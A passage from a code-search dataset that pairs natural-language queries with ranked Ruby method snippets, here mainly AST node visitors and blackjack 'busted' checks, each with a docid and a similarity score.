"text": "def push_return_value(g, node)\n defined = g.new_label\n done = g.new_label\n g.git defined\n g.push_nil\n g.goto done\n defined.set!\n lit = NODE_TYPES[node].dup\n g.push_literal lit\n done.set!\n end",
"title": ""
},
{
"docid": "bc8ca4bbc39abaee459787ccd762a93c",
"score": "0.51114136",
"text": "def node=(node)\n write_attr :node, node\n end",
"title": ""
},
{
"docid": "34c2419959fd61345be002694b779eb4",
"score": "0.5108767",
"text": "def node=(node)\n delete_node[:node] = node\n end",
"title": ""
},
{
"docid": "947c5abfa209574a275b58b5529b1d58",
"score": "0.51061517",
"text": "def on_op_assign(node)\n type = node.children[0].type\n name = node.children[0].children[0]\n\n on_assign(node.children) unless definitions.lookup(type, name)\n end",
"title": ""
},
{
"docid": "bf4b9842a371f0b645317cbea14e55e7",
"score": "0.508761",
"text": "def ast_node=(_arg0); end",
"title": ""
},
{
"docid": "bf4b9842a371f0b645317cbea14e55e7",
"score": "0.508761",
"text": "def ast_node=(_arg0); end",
"title": ""
},
{
"docid": "6e14a104381ad0272136a25cd84e3226",
"score": "0.50864726",
"text": "def variable_node; end",
"title": ""
},
{
"docid": "9405546c0210bfce5b102dc46f0bd67e",
"score": "0.5079542",
"text": "def mark_assignments_as_referenced_in_loop(node); end",
"title": ""
},
{
"docid": "605b2d7c506dd841ff1dd0b34277b17d",
"score": "0.50782937",
"text": "def on_case(node)\n expr, *cases = *node\n process(expr)\n\n cases.each do |case_|\n scopes.with_copy do\n process(case_)\n end\n end\n\n # clean slate\n scope.clear\n\n node\n end",
"title": ""
},
{
"docid": "c098a69816d8600b699e55403a9fd4e1",
"score": "0.5077283",
"text": "def visit_var_ref(node); end",
"title": ""
},
{
"docid": "c098a69816d8600b699e55403a9fd4e1",
"score": "0.5077283",
"text": "def visit_var_ref(node); end",
"title": ""
},
{
"docid": "3f57b11e430588a6f23e0ba6d56c1d01",
"score": "0.5061555",
"text": "def on_pair(node)\n if @ngContext == :directive and node.children[0] == s(:sym, :link)\n begin\n ngScope = @ngScope\n if node.children[1].type == :block\n args = node.children[1].children[1]\n if args.children.length > 0\n @ngScope = s(:lvar, args.children[0].children[0])\n @ngContext = :controller\n end\n end\n super\n ensure\n @ngScope = ngScope\n @ngContext = :directive\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "4053e6738c2a345235b273e5219782fa",
"score": "0.50560653",
"text": "def with_opassign(node); end",
"title": ""
},
{
"docid": "b7a23af7007e140883e59ca5266f3a89",
"score": "0.5054844",
"text": "def on_case(node)\n expr, *cases = *node\n process(expr)\n\n cases.each do |case_|\n scopes.with_copy do\n process(case_)\n end\n end\n\n # clean slate\n scope.clear\n end",
"title": ""
},
{
"docid": "e37a46df5bbfdb632466f41c59db8ae0",
"score": "0.5050889",
"text": "def process_namespace_node(node)\n values = node.value[1].strip.split(/\\s+/)\n values = values.unshift('default') if values.length == 1\n values[1].gsub!(/(\"|')/, '') if values[1] =~ /^url\\((\"|').+(\"|')\\)$/\n @namespaces.update(values[0].to_sym => values[1])\n end",
"title": ""
},
{
"docid": "5265d689a59d9d5fc214216db085f82b",
"score": "0.5050457",
"text": "def restrict_to_node(job_name, node_name)\n xml = get_config(job_name)\n n_xml = Nokogiri::XML(xml)\n if (node = n_xml.xpath(\"//assignedNode\").first)\n node.content = node_name\n else\n project = n_xml.xpath(\"//scm\").first\n child_node = project.add_next_sibling(\"<assignedNode>#{node_name}</assignedNode>\")\n roam_node = n_xml.xpath(\"//canRoam\").first\n roam_node.content = \"false\"\n end\n xml_modified = n_xml.to_xml\n post_config(job_name, xml_modified)\n end",
"title": ""
},
{
"docid": "eea3b17a0f83d3b74e9924b39be366a8",
"score": "0.504573",
"text": "def node=(node)\n command[:node] = node\n end",
"title": ""
},
{
"docid": "9d35225c85ea4067b853903aa93eae67",
"score": "0.5043254",
"text": "def populate_scope(key, node)\n # create a new scope because i'm not sure if/how any existing scope\n # for this node can be retreived\n scope = Puppet::Parser::Scope.new\n\n # get facts from REST API, or empty hash\n facts = Puppet::Node::Facts.indirection.find(key).values rescue {}\n\n # add node facts to our bootleg scope\n facts.each do |fact, value|\n scope.setvar(fact, value)\n end\n\n # return the Hierafied scope\n Hiera::Scope.new(scope)\n end",
"title": ""
},
{
"docid": "cf695dbfc5fd596ed7ba92bfb0f177a3",
"score": "0.50402284",
"text": "def set(full_key, node); end",
"title": ""
},
{
"docid": "a5432aadd8cc5947db0ccf866c05e0a0",
"score": "0.5039474",
"text": "def scope=(_); end",
"title": ""
},
{
"docid": "a5432aadd8cc5947db0ccf866c05e0a0",
"score": "0.5039474",
"text": "def scope=(_); end",
"title": ""
},
{
"docid": "edce40080626846e4791faa5624c56ab",
"score": "0.50314784",
"text": "def for_node(node)\n @node = node\n refresh(true)\n end",
"title": ""
},
{
"docid": "d82356212b2bd141d1e469e39ccb4e37",
"score": "0.50289416",
"text": "def context_node=(node)\n @context_node = node\n end",
"title": ""
},
{
"docid": "5a8cc7f44a84cac3ade566364f820b50",
"score": "0.50254756",
"text": "def start_defn(node)\n @attrasgns = {}\n node.recursive_children do |child|\n case child.node_type\n when :attrasgn\n attribute_assignment(child)\n when :call\n call_assignment(child)\n else\n end\n end\n end",
"title": ""
},
{
"docid": "30b6065cfb58c6ad11594a05cddde865",
"score": "0.5025361",
"text": "def visit_embvar(node)\n node.copy\n end",
"title": ""
},
{
"docid": "ad73e93f299a4753c8b02fb3dbd520b1",
"score": "0.50244594",
"text": "def compile_var_ref(node)\n value = node.value\n\n if value.is_a?(Const)\n compile_node(value)\n elsif value.is_a?(Kw) && value.value.nil?\n ->(attribute) { nil === attribute }\n else\n compile_error(node)\n end\n end",
"title": ""
},
{
"docid": "2bfd4f49255b53b9be5e44af4774665d",
"score": "0.50241476",
"text": "def resent_cc=(val); end",
"title": ""
},
{
"docid": "bfa8ac36e1fa88403521e45fc16ead42",
"score": "0.5012128",
"text": "def set_node(val)\n self.node = val\n self\n end",
"title": ""
},
{
"docid": "0eeef5d4748ea9bb763b701d9f945635",
"score": "0.5010094",
"text": "def visit_opassign(node); end",
"title": ""
},
{
"docid": "4ec59090c29fa408491d177cf4054d4e",
"score": "0.5008956",
"text": "def compile_var_ref(node); end",
"title": ""
},
{
"docid": "b8ceebfbf8dffe214262fe14c0bca3e2",
"score": "0.50065976",
"text": "def assigns(variable, value)\n # Constant assignment if we got a node\n return s(:casgn, nil, variable, value) unless variable.respond_to?(:to_sym)\n\n variable_name = variable.to_sym\n\n case variable.to_s\n when /^@@/\n s(:cvasgn, variable_name, value)\n when /^@/\n s(:ivasgn, variable_name, value)\n when /^\\$/\n s(:gvasgn, variable_name, value)\n when /^[[:upper:]]/\n s(:casgn, nil, variable_name, value)\n else\n s(:lvasgn, variable_name, value)\n end\n end",
"title": ""
},
{
"docid": "e3857ab8588d89cd4f58de2563afc07e",
"score": "0.50040823",
"text": "def process_casgn(exp, parent)\n if exp.defines_module?\n process_module(exp, parent)\n else\n process(exp)\n end\n end",
"title": ""
},
{
"docid": "8cd4204418e3219039f8646157a8822c",
"score": "0.49947944",
"text": "def for_node; end",
"title": ""
},
{
"docid": "a54da643e717271d0c4f4d9259bbf67d",
"score": "0.49817488",
"text": "def process_with_node(node)\n @instance.current_node = node\n yield\n @instance.current_node = node\n end",
"title": ""
},
{
"docid": "833f73e52aa7a7ca0d16b0313c02c8e7",
"score": "0.4980873",
"text": "def on_block(node)\n node = super\n send, args, body = *node\n args = nil if !args.nil? && args.children.empty? && args.loc.expression.nil?\n node.updated(nil, [send, args, body])\n end",
"title": ""
},
{
"docid": "dba9fe84db3e0df5a78d36f436c74ab5",
"score": "0.49789092",
"text": "def restrict_to_node(job_name, node_name)\n @logger.info \"Restricting '#{job_name}' to '#{node_name}' node\"\n xml = get_config(job_name)\n n_xml = Nokogiri::XML(xml)\n if (node = n_xml.xpath(\"//assignedNode\").first)\n node.content = node_name\n else\n project = n_xml.xpath(\"//scm\").first\n project.add_next_sibling(\"<assignedNode>#{node_name}</assignedNode>\")\n roam_node = n_xml.xpath(\"//canRoam\").first\n roam_node.content = \"false\"\n end\n xml_modified = n_xml.to_xml\n post_config(job_name, xml_modified)\n end",
"title": ""
},
{
"docid": "5fa243c0da0cb23592ddffb1f5259167",
"score": "0.497631",
"text": "def transform!(node, scope = nil)\n if node.is_a?(Nokogiri::XML::Document)\n node = node.root\n end\n\n scope ||= Rusty::Scope.new(node)\n\n # The callback scope for this node.\n callback_binding = callback_binding_klass.new(scope) \n\n has_rule = false\n \n [ :on, :after ].each do |mode|\n # find explicit rule for this node. Warn if there is none.\n if rule = best_rule(mode, node)\n has_rule = true\n callback_binding.instance_eval(&rule.proc)\n end\n\n # in :on mode: process children, unless explicitely skipped.\n if mode == :on && !callback_binding.skip?\n node.children.each do |child|\n next if child.text? || child.cdata?\n next if child.comment?\n\n transform! child, Rusty::Scope.new(child, scope)\n end\n end\n\n # run callback\n if callback = callback_binding.callback\n callback_binding.instance_eval(&callback)\n end\n end\n \n unless has_rule\n path = node.self_and_parents.map(&:simplified_name).join(\" > \")\n STDERR.puts \"no rule registered: #{path}\" \n end\n\n scope\n end",
"title": ""
},
{
"docid": "4f04416bb3f76d00153d0acd5fb65e81",
"score": "0.4973833",
"text": "def on_ascent(node)\r\n raise \"Overwrite this method !\"\r\n end",
"title": ""
},
{
"docid": "362177aab4b3240f6bfd48f441452cbe",
"score": "0.4971874",
"text": "def visit_assign(node)\n target = visit(node.target)\n location =\n target\n .location\n .with_operator(srange_find_between(node.target, node.value, \"=\"))\n .with_expression(srange_node(node))\n\n s(target.type, target.children + [visit(node.value)], location)\n end",
"title": ""
},
{
"docid": "02753b43f988ecbc7c08803e348cf3da",
"score": "0.4968512",
"text": "def set_orginal_names(node = root)\n node.orginal_name = node.name\n node.sons.each { |son| set_orginal_names(son) }\n end",
"title": ""
},
{
"docid": "7de60268c44e83fc43720d9ed3931a4f",
"score": "0.4959591",
"text": "def update_node(key, value)\n remove_node(key)\n add_node(key, value)\n end",
"title": ""
},
{
"docid": "646907a658417486596f0d152b734860",
"score": "0.49462202",
"text": "def gc(node)\n @base_value += @positive_counters[node]\n @base_value -= @negative_counters[node]\n @positive_counters.delete(node)\n @negative_counters.delete(node)\n end",
"title": ""
}
] |
c64f184bf09b0beebbabc330db0ae86d
|
A method to check if the dealer has busted
|
[
{
"docid": "62b29badf13803557d954fd4fb899026",
"score": "0.0",
"text": "def bust?\n\t\tself.total_points > 21\n\tend",
"title": ""
}
] |
[
{
"docid": "ab83362e45d0464f9d46f2f98afa99de",
"score": "0.744269",
"text": "def check_biller\n true\n end",
"title": ""
},
{
"docid": "cd6cbb8721ef876fc2d812a409f74c8d",
"score": "0.73442775",
"text": "def busted?\n self.hand.busted?\n end",
"title": ""
},
{
"docid": "0ec9de98a97126c1a8bd10a7eda0e8e4",
"score": "0.71689653",
"text": "def is_busted?\n\t\ttotal > Blackjack::BLACKJACK_BUST\n\tend",
"title": ""
},
{
"docid": "f8d418fab9a53c98976d7cc1619cc1cb",
"score": "0.716488",
"text": "def is_busted?\n total > Blackjack::BLACKJACK_AMOUNT\n end",
"title": ""
},
{
"docid": "8ee0992cf8d60fc0a5a966c478f4b94e",
"score": "0.710834",
"text": "def bust?\n hand_total > BLACKJACK_AMOUNT\n end",
"title": ""
},
{
"docid": "87b55ef558a833ffcbb1c4cf9b3810c8",
"score": "0.71055615",
"text": "def busted?\n @cards.total > 21\n end",
"title": ""
},
{
"docid": "ebd424f205a0038ac6018d845ebbbd86",
"score": "0.7007125",
"text": "def busted?\n total == :bust\n end",
"title": ""
},
{
"docid": "9607223928aa82f1f27c650b68ba2d19",
"score": "0.7001175",
"text": "def bidded?(other_item)\n 1 if biddings.find_all_by_item_id(other_item.id).count > 0\n end",
"title": ""
},
{
"docid": "024c2d063da8638f2b543b0711e0c93a",
"score": "0.6976863",
"text": "def bought_by?(account)\n buyer == account\n end",
"title": ""
},
{
"docid": "0705c798b716cfb697f7031993b9a017",
"score": "0.693007",
"text": "def bust?\n hand_total > 21\n end",
"title": ""
},
{
"docid": "3bff78e22599c7e810f667b53e354bd7",
"score": "0.6891931",
"text": "def bought_by?(account)\n account && contracts.bought_by(account).present?\n end",
"title": ""
},
{
"docid": "1c6817d82f4557e759d4eed41f0870a0",
"score": "0.68771917",
"text": "def dealer_blackjack?\n self.dealer_hand.sum == 21\n end",
"title": ""
},
{
"docid": "4b4ee28afa8acc0de35f89ef47050093",
"score": "0.6869904",
"text": "def can_bid?\n Bid.offer_target?(sender, receiver) && !sender.has_contract_with?(receiver)\n end",
"title": ""
},
{
"docid": "09b47af4947d3feed4a87049038df8f5",
"score": "0.68442404",
"text": "def valid_auction?\n return true if complete? or has_bid_button?\n return false\n end",
"title": ""
},
{
"docid": "e4ee5e255c6ee0f1ace784d83bda10ca",
"score": "0.67945296",
"text": "def user_is_bidder?\n user_bids_obj.has_bid?\n end",
"title": ""
},
{
"docid": "9af35f86917273a36d0c57c656e8254b",
"score": "0.67913187",
"text": "def bought_by?(user)\n buyer_id == user.id\n end",
"title": ""
},
{
"docid": "2df007ac6e61fd629a9195f68c0aa0af",
"score": "0.67755926",
"text": "def busted?\n @count > 21\n end",
"title": ""
},
{
"docid": "9f00f703e9ea3e95829f5cb7dbd62d1c",
"score": "0.6767662",
"text": "def dealer_blackjack\n @dealers_hand.value == 21\n end",
"title": ""
},
{
"docid": "d4adc24c0c6c91fdd54586e32ac527df",
"score": "0.6757634",
"text": "def is_bust\n return @hand.is_bust\n end",
"title": ""
},
{
"docid": "f6b094758fbede4b54c8298466da579a",
"score": "0.67352116",
"text": "def check_busted (hand)\n if hand.is_busted?\n puts \"Busted!\" \n self.lose_bet(hand)\n hand.end_play!\n wait_for_newline\n end\n end",
"title": ""
},
{
"docid": "dc8b062427d41efa26f08306cf396951",
"score": "0.67346126",
"text": "def bust?(hand)\n hand.total > 21\n # From Demetra: this will return true if a hand you pass in is over 21\n # Consider using this to either initially check for a bust (when hands are first dealt) or to check for a bust during the player and dealer turns\n end",
"title": ""
},
{
"docid": "c8a872c8f88031dfcdd1cb32fa6a29ee",
"score": "0.6713803",
"text": "def hungry?\n\t\t@stuff_in_belly <= 2\n\tend",
"title": ""
},
{
"docid": "0b07dd97a6ab89e8ab0fe9db8601186b",
"score": "0.6699469",
"text": "def guest_buys_drink()\n @guest3.guest_pays(@bar.bar_drinks[1][1])\n @bar.bar_accepts_fee(@bar.bar_drinks[1][1])\n assert_equal(88, @guest3.guest_cash)\n assert_equal(512, @bar.bar_cash)\n end",
"title": ""
},
{
"docid": "e21ba5a59153e4714e14683a18e845c6",
"score": "0.669564",
"text": "def balanced_buyer?\n balanced_account? && balanced_account.roles.include?('buyer')\n end",
"title": ""
},
{
"docid": "fa08452197ead6baa10149c67220c677",
"score": "0.66846573",
"text": "def despatched?\n not waiting_pickup?\n end",
"title": ""
},
{
"docid": "3ca4d69fb4164dcced445fd7029bdfd7",
"score": "0.6676557",
"text": "def has_deal_information?\n true\n end",
"title": ""
},
{
"docid": "2fae15e8211aa0bf9a8cdb0bcccad737",
"score": "0.66702783",
"text": "def can_be_bought_by?(user)\r\n # Precondition\r\n fail \"Missing user\" if (user == nil)\r\n user.credits >= self.price && self.active && self.owner != user\r\n end",
"title": ""
},
{
"docid": "8f09a491b4cf1a1c72e09f1114bc9656",
"score": "0.66690314",
"text": "def buddied_by?(user)\n buddies = user.buddies\n return buddies.include?(current_user)\n end",
"title": ""
},
{
"docid": "db34834d6c035a8c3c82eee5a6133bdd",
"score": "0.6659776",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "db34834d6c035a8c3c82eee5a6133bdd",
"score": "0.6659776",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "d6a24b9307aab4df10c91bdd98a69f4f",
"score": "0.66556317",
"text": "def recipient_bought?\n\n recipient.orders.complete.count>0 if recipient\n end",
"title": ""
},
{
"docid": "31aa4d6a3044730d40a4b33134a8b17a",
"score": "0.66511375",
"text": "def has_budget?(potential_repoter)\n\t\t#if (@budget.to_i - @total.to_i) >= salary_for(potential_repoter)\n\t\t#\ttrue\n\t\t#else\n\t\t#\tfalse\n\t\t#end\n\t\tp @budget.class\n\t\tp @total.class\n\t\tp salary_for(potential_repoter).class\n\n\tend",
"title": ""
},
{
"docid": "e010f5fc1e4eb1677306aa6f86ab3e94",
"score": "0.6631051",
"text": "def bust?(hand, plyr, bet, name)\n if hand_score(hand) > 21\n p \"#{name} is busted!\"\n plyr.money -= bet\n end\n end",
"title": ""
},
{
"docid": "88a69f11d1f9b58687d42e3a8ad00bc5",
"score": "0.6630568",
"text": "def debtor_account?\n return self.debtor!=nil\n end",
"title": ""
},
{
"docid": "198f688d4bf70aee7481b59a73600ed4",
"score": "0.6630459",
"text": "def accept_guard\n self.voucher.redeem! if self.with_voucher?\n true\n end",
"title": ""
},
{
"docid": "9125f1bf4a0c7087882d3710103a8ba0",
"score": "0.66230845",
"text": "def berserker?\n return (not @hidden and restriction == 1)\n end",
"title": ""
},
{
"docid": "a2e14546152b29a36d2f37974ff7eb66",
"score": "0.6617944",
"text": "def holdable?\n holdability.holdable? || holdings.any?(&:deans_office?)\n end",
"title": ""
},
{
"docid": "e118fb007e3eb5a91834b37aac38f653",
"score": "0.6617651",
"text": "def dealer_17?\n self.dealer_hand.sum >= 17\n end",
"title": ""
},
{
"docid": "87be21e1dcc98c79faa32fab1e7ee7e8",
"score": "0.6602739",
"text": "def bad_debt_credit_details_needed?\n @bad_debt_yes_no == 'Y'\n end",
"title": ""
},
{
"docid": "f93a17e795b6d4befa67edca7876aff6",
"score": "0.65835726",
"text": "def redeemable?\n credits and credits > 0 and item_type != 'Credits'\n end",
"title": ""
},
{
"docid": "6a6f7bc8c594aef8df0c8a05a6b994f6",
"score": "0.6566223",
"text": "def current_buys?\n current_buys.any?\n end",
"title": ""
},
{
"docid": "9f6e7bd5179754a9972cb2b6ca19910b",
"score": "0.65550137",
"text": "def available?\n borrows.count == 0 || borrows.all? { |borrow| borrow.returned? }\n end",
"title": ""
},
{
"docid": "d06d7e5ab9311077e5deb14c7ba21aa2",
"score": "0.65522623",
"text": "def voluntarily_withdrawn?\n delisted_on.present? && removal_reason == RemovalReason.withdrew\n end",
"title": ""
},
{
"docid": "6151a70ae27e952285bb4992d669b029",
"score": "0.65512776",
"text": "def has_insurance\n flag = false\n players.each do |player|\n if player.buy_insurance?(dealer.cards[0].value)\n flag = true\n end\n end\n flag\n end",
"title": ""
},
{
"docid": "994f630c8c4bd7020299c7f5cf56177e",
"score": "0.6536192",
"text": "def dealer_over_21?\n self.dealer_hand.sum > 21\n end",
"title": ""
},
{
"docid": "cef90a6dc7259fb117be6093a5e3921f",
"score": "0.6534744",
"text": "def berserker?\n return (not @hidden and restriction == 2)\n end",
"title": ""
},
{
"docid": "c6ca8f4ea2e5c76723fc6255827898da",
"score": "0.653436",
"text": "def seller_has_buyers\n !current_user.sold_cars.empty?\n # [negate operator]Purchase.find_by(seller_id: current_user.id).empty? # same AR time in console.\n end",
"title": ""
},
{
"docid": "c2e0fd537f6ef60f3bc633f0dda2f887",
"score": "0.6528218",
"text": "def hungry?\n\t\t@full_belly <=2\n\tend",
"title": ""
},
{
"docid": "b176c1be1af91f1973c4ad1f924d580d",
"score": "0.6527401",
"text": "def is_dealer?\n self.id == DEALER_ID\n end",
"title": ""
},
{
"docid": "6a5c985589e976237be450ca42c16173",
"score": "0.65113014",
"text": "def busted\n return @handVal > 21\n end",
"title": ""
},
{
"docid": "e0c13435d41292b015d79b2054fc67e1",
"score": "0.65055203",
"text": "def double_down_allowed?\n is_valid_bet?(@bet)\n end",
"title": ""
},
{
"docid": "4e5299bfb27d45ee5fba2a9f783f25cf",
"score": "0.65029573",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "4e5299bfb27d45ee5fba2a9f783f25cf",
"score": "0.65029573",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "4e5299bfb27d45ee5fba2a9f783f25cf",
"score": "0.65029573",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "4e5299bfb27d45ee5fba2a9f783f25cf",
"score": "0.65029573",
"text": "def hungry?\n @stuff_in_belly <= 2\n end",
"title": ""
},
{
"docid": "184b0a48225fc5154a3ad64ff9b05d17",
"score": "0.64984006",
"text": "def drillable?\n @drillable\n end",
"title": ""
},
{
"docid": "184b0a48225fc5154a3ad64ff9b05d17",
"score": "0.64984006",
"text": "def drillable?\n @drillable\n end",
"title": ""
},
{
"docid": "0b6cb6143f001720b96939f9b3324f13",
"score": "0.64967406",
"text": "def isBusted(handIndex=0)\n\t\treturn @hands[handIndex].isBusted\n\tend",
"title": ""
},
{
"docid": "de13da3fedd300f8c6de5fee9d78d566",
"score": "0.64899594",
"text": "def dealer_act\n if !@stayed_players.empty?() # if all players busted or blackjack, stop\n puts '----------------------- dealer\\'s turn -----------------------'\n display_hands(@dealer, @dealer.hand0) \n loop do\n if @dealer.hand0.values().max() <= 16\n puts 'dealer hit'\n @dealer.hand0 << @deck.draw()\n display_hands(@dealer, @dealer.hand0)\n if @dealer.hand0.blackjack?() \n # dealer blackjack, all remaining players lose\n puts 'dealer BLACKJACK!'\n @stayed_players.each do |player|\n player.hands.each do |hand|\n puts \"player %s, hand %d lose (dealer blackjack)\" %[player.name,\n hand.index]\n player.lose(hand.bet) \n end\n end\n elsif @dealer.hand0.bust?()\n puts 'dealer BUST!'\n return true\n end\n else\n puts 'dealer stay'\n return false\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b85d9e9bc97b0eee2620ce60399b83e3",
"score": "0.64825016",
"text": "def allies?\n false\n end",
"title": ""
},
{
"docid": "296841456da238eeebb868e1bd17cb55",
"score": "0.64781886",
"text": "def dealer_hit?\n self.get_score < 17\n end",
"title": ""
},
{
"docid": "a7eeff39e1186fcc270e9b9afedaf41b",
"score": "0.64753646",
"text": "def is_bust()\n hand_value() > 21\n end",
"title": ""
},
{
"docid": "f04c456646cf3197995203a7f6329a47",
"score": "0.6473469",
"text": "def debtor?(user=User.current_user)\n return self.amount(user) > 0\n end",
"title": ""
},
{
"docid": "f04c456646cf3197995203a7f6329a47",
"score": "0.6473469",
"text": "def debtor?(user=User.current_user)\n return self.amount(user) > 0\n end",
"title": ""
},
{
"docid": "343e4043d9c724fe8cad30bf92d00794",
"score": "0.64641875",
"text": "def hungry?\n @stuff_in_belly <=2\n end",
"title": ""
},
{
"docid": "770eb87f60acedca7d6d0100dd77b364",
"score": "0.6460835",
"text": "def dealer(player1, player2, plyr, bet, deck)\n deck.display(player2, \"The dealer's\")\n unless deck.blackjack?(player1, plyr, 0) || deck.bust?(player1, plyr, 0, plyr.name)\n while true\n #dealer will hit unless he has 16\n if deck.hand_score(player2) <= 16\n p \"Dealer hits\"\n player2 += deck.hand_new(1)\n if deck.bust?(player2, plyr, -(bet), \"The dealer's\")\n player2\n break\n end\n else\n p \"Dealer stands\"\n break\n end\n end\n #unless the dealer has busted, the hands are evaluated against eachother\n unless deck.bust?(player2, plyr, 0, \"The dealer\")\n deck.display(player2, \"The dealer\")\n p \"--------------------------------------\"\n p deck.compare_hands(player1, player2, plyr, bet)\n end\n end\n player2\nend",
"title": ""
},
{
"docid": "03410f50bdbb4852683a6be61dff15f7",
"score": "0.64578193",
"text": "def busy?\n @battler && BusyPhases.any? do |phase|\n phase == @battler.battle_phase\n end && !@battler.finish || (@battler && @battler.moving?)\n end",
"title": ""
},
{
"docid": "03410f50bdbb4852683a6be61dff15f7",
"score": "0.64578193",
"text": "def busy?\n @battler && BusyPhases.any? do |phase|\n phase == @battler.battle_phase\n end && !@battler.finish || (@battler && @battler.moving?)\n end",
"title": ""
},
{
"docid": "b8ee105cb095c4e7fcc1c6da3b45577d",
"score": "0.6452272",
"text": "def is_bust_hand(hand)\n return hand.is_bust\n end",
"title": ""
},
{
"docid": "714c5472f59207cb7403da2941184f5c",
"score": "0.6451385",
"text": "def billable?\n true\n end",
"title": ""
},
{
"docid": "e317023d3661fdccbd774717e32ed350",
"score": "0.643316",
"text": "def holds?\n false\n end",
"title": ""
},
{
"docid": "b5276724b40dabcc52b021cc89ddd73a",
"score": "0.6432345",
"text": "def bidded?\n bidded == 'true'\n end",
"title": ""
},
{
"docid": "58bf7ea96520ecb6ef3c59cb44959ab3",
"score": "0.6428798",
"text": "def budget_exhausted?\n @kind == KIND_BUDGET_EXHAUSTED\n end",
"title": ""
},
{
"docid": "3a74e1910008fe40a8d99f752d6d59f2",
"score": "0.6426691",
"text": "def free_seats?\n # yes if not booked_up\n !booked_up?\n end",
"title": ""
},
{
"docid": "b5280347f1d6fca5f83c56b32eff1d93",
"score": "0.64230126",
"text": "def isAvailable\n\t\treturn @borrowed == \"Available\"\n\tend",
"title": ""
},
{
"docid": "87f46501701266ad342faa54f140cf66",
"score": "0.64216304",
"text": "def in_arbitration?\r\n return false unless disputed?\r\n current_dispute.deadline_at <= Time.now\r\n end",
"title": ""
},
{
"docid": "451517acf337d7f02cd97d466d3a822b",
"score": "0.64213496",
"text": "def hungry?\n @belly <= 2\n end",
"title": ""
},
{
"docid": "802a8ec220c7f7dc66d9e562fae37216",
"score": "0.64190966",
"text": "def check_dealer_win_or_busted(card, amount)\n if amount == 21\n puts \"Dealer hit blackjack! Dealer win...\"\n true\n elsif amount > 21\n puts \"Dealer busted...You win!!!\"\n true\n end\nend",
"title": ""
},
{
"docid": "c0a26629f3708d9a56244aa4fa6956d1",
"score": "0.6411475",
"text": "def funded?\n amount_outstanding <= 0\n end",
"title": ""
},
{
"docid": "a422c02772e32606d4e3ac3045888910",
"score": "0.6410113",
"text": "def battler?\n return false\n end",
"title": ""
},
{
"docid": "a422c02772e32606d4e3ac3045888910",
"score": "0.6410113",
"text": "def battler?\n return false\n end",
"title": ""
},
{
"docid": "a422c02772e32606d4e3ac3045888910",
"score": "0.6410113",
"text": "def battler?\n return false\n end",
"title": ""
},
{
"docid": "a422c02772e32606d4e3ac3045888910",
"score": "0.6410113",
"text": "def battler?\n return false\n end",
"title": ""
},
{
"docid": "6006e8b3fce467953bf87f5d14322b82",
"score": "0.6405333",
"text": "def can_go?\n @available_bike_stands > 0 and not @available_bike_stands # test si nil quand pas de velo\n end",
"title": ""
},
{
"docid": "e940c8a621a7c46ca19ec02832fb5822",
"score": "0.6401478",
"text": "def blackjack_or_bust?(player_or_dealer) \t\t# Ruby allows either player or dealer to be passed\n\t\tif player_or_dealer.total == BLACKJACK_BUST\n\t\t\tif player_or_dealer.is_a? (Player)\n\t\t\t\tputs \"Congratulations #{player.name}, you hit Blackjack\"\n\t\t\telse\n\t\t\t\tputs \"Sorry, Dealer hit Blackjack, #{player.name} loses.\"\n\t\t\tend\n\t\t\tplay_again?\n\t\telsif player_or_dealer.is_busted?\n\t\t\t\tif player_or_dealer.is_a?(Dealer)\n\t\t\t\t\tputs \"Dealer busted, #{player.name} wins!\"\n\t\t\t\telse\n\t\t\t\t\tputs \"Sorry you busted, Dealer wins...\"\n\t\t\t\tend\n\t\t\t\tplay_again?\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a8cde403dfc45c5d2550a3f75fcd9c03",
"score": "0.63989884",
"text": "def busy?\n BusyPhases.any? {|phase| battle_phase == phase }\n end",
"title": ""
},
{
"docid": "a8cde403dfc45c5d2550a3f75fcd9c03",
"score": "0.63989884",
"text": "def busy?\n BusyPhases.any? {|phase| battle_phase == phase }\n end",
"title": ""
},
{
"docid": "9b592750207b3b1ee3ad862802ace4b5",
"score": "0.63977563",
"text": "def settleable?\n listing.seller.default_deposit_account?\n end",
"title": ""
},
{
"docid": "baaffc2d6d267a0d214d6b7f5ffea0eb",
"score": "0.6395933",
"text": "def has_deal_information?\n daily_deal.present?\n end",
"title": ""
},
{
"docid": "63ea76325d2491ba01f41d4f92a15082",
"score": "0.63878715",
"text": "def hungry?\n @stuffInBelly <= 2\n end",
"title": ""
},
{
"docid": "927228cfff8a76ee20d6fa2ee9543ce8",
"score": "0.63781416",
"text": "def is_bust\n self.update_points\n if @points > 21\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "3273cfb2727d3711680fd18726b9896d",
"score": "0.637544",
"text": "def isBankrupt\n @money < 1\n end",
"title": ""
},
{
"docid": "f9b83abf9338b11f681044471d2036f2",
"score": "0.6363057",
"text": "def bleeding?(warrior)# attacked by archer?\n #p \"#{warrior.health} vs #{@health_cur}\"\n if warrior.health < @health_cur\n # We need to raise the value of @need_health when it be ATTACKED_BY_ARCHER\n @need_health = @health_full\n #NOW we have shooting ability\n #@need_health = @archer.health - (@damage_p - @archer.damage_p) * (((@archer.health*1.0)/@damage_p).ceil)\n return true\n else\n set_need_health if @need_health != @health_full\n return false\n end\n end",
"title": ""
},
{
"docid": "a9c83ac40eebfbfcb267501aa067c2c7",
"score": "0.63590336",
"text": "def can_buy?\n true\n end",
"title": ""
},
{
"docid": "88e97182403523e6c05728782170cb25",
"score": "0.63563895",
"text": "def battler?\n return true\n end",
"title": ""
},
{
"docid": "148acb225f5fc5ae442ed3b200ad1a53",
"score": "0.63400054",
"text": "def has_budget?(reporter)\n\t\t\tif @overhead + salary_for(reporter) <= @budget \n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "9d0e44393d15bd0a9cbc5129602786b3",
"score": "0.6336174",
"text": "def busted?\n self.rank > 21\n end",
"title": ""
},
{
"docid": "1beda20ba65c422d58633e28ccf0ddb9",
"score": "0.6335471",
"text": "def is_bust\n return point != \"Blackjack\" && point > 21\n end",
"title": ""
},
{
